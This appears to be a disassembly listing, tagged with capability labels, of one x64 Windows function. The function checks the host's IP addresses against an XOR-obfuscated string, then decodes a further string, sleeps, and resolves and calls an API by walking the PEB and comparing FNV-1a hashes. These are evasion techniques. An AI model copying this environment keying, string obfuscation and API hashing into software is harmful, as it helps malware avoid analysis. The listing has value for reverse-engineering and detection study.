Function at 0x14008d1e0
Capabilities:
Access peb ldr_data
Encode data using xor
Get hostname
Hash data using fnv
Initialize winsock library
Resolve dns
Resolve function by parsing pe exports

Disassembly:
push r14
sub rsp, 0x330
mov rax, qword [0x14018c080]
xor rax, rsp
mov qword [rsp + 0x310], rax
mov ecx, 0x202
lea rdx, [rsp + 0x70]
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov edx, 0xff
lea rcx, [rsp + 0x210]
call qword [sym.imp.WS2_32.dll_gethostname]
lea rcx, [rsp + 0x210]
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov r14, qword [rax + 0x18]
mov rax, qword [r14]
test rax, rax
je 0x14008d613
mov qword [rsp + 0x340], rbx
mov qword [rsp + 0x348], rbp
mov ebp, dword [reloc.WS2_32.dll_accept]
mov qword [rsp + 0x350], rsi
xor esi, esi
mov qword [rsp + 0x358], rdi
movaps xmmword [rsp + 0x320], xmm6
nop dword [rax]
mov ecx, dword [rax]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
cmp byte [reloc.WLDAP32.dll_Ordinal_60], 0
mov r10, rax
mov ecx, dword [0x140170060]
mov dword [rsp + 0x20], ecx
je 0x14008d350
cmp ebp, 2
jl 0x14008d315
movdqa xmm3, xmmword [0x140175f00]
movdqa xmm2, xmm3
movdqa xmm0, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140176050]
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140176050]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x140175f60]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1401760b0]
movd xmm0, ecx
xorps xmm2, xmm0
movd dword [rsp + 0x20], xmm2
jmp 0x14008d350
lea r9, [rsp + 0x20]
xor r8d, r8d
nop dword [rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x14008d320
lea rdx, [rsp + 0x20]
mov rcx, r10
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
je 0x14008d5da
movups xmm0, xmmword [0x14016fe20]
movups xmm1, xmmword [0x14016fe30]
movups xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [0x14016fe40]
movups xmmword [rsp + 0x50], xmm1
movups xmmword [rsp + 0x60], xmm0
cmp ebp, 2
jl 0x14008d4d1
movdqa xmm0, xmmword [0x1401760b0]
lea rcx, [rsp + 0x44]
movdqa xmm5, xmmword [0x140175f00]
xor edx, edx
movdqa xmm4, xmmword [0x140176050]
movdqa xmm6, xmmword [0x140175f60]
movdqa xmmword [rsp + 0x30], xmm0
mov r8d, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x30
jl 0x14008d3d0
jmp 0x14008d510
lea r9, [rsp + 0x40]
xor r8d, r8d
nop dword [rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x30
jl 0x14008d4e0
lea rcx, [rsp + 0x40]
call fcn.140023690
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008d5b7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008d5b7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x14008d5b2
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x14008d590
cmp r8d, 0xcded1a85
je 0x14008d5bc
test r9d, r9d
jne 0x14008d570
mov rax, qword [rax]
jmp 0x14008d540
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
mov ecx, Ordinal_46
add rax, r10
call rax
mov rax, qword [r14 + rsi*8 + 8]
inc rsi
test rax, rax
jne 0x14008d270
movaps xmm6, xmmword [rsp + 0x320]
mov rdi, qword [rsp + 0x358]
mov rsi, qword [rsp + 0x350]
mov rbp, qword [rsp + 0x348]
mov rbx, qword [rsp + 0x340]
mov rcx, qword [rsp + 0x310]
xor rcx, rsp
call fcn.1401468a0
add rsp, 0x330
pop r14
ret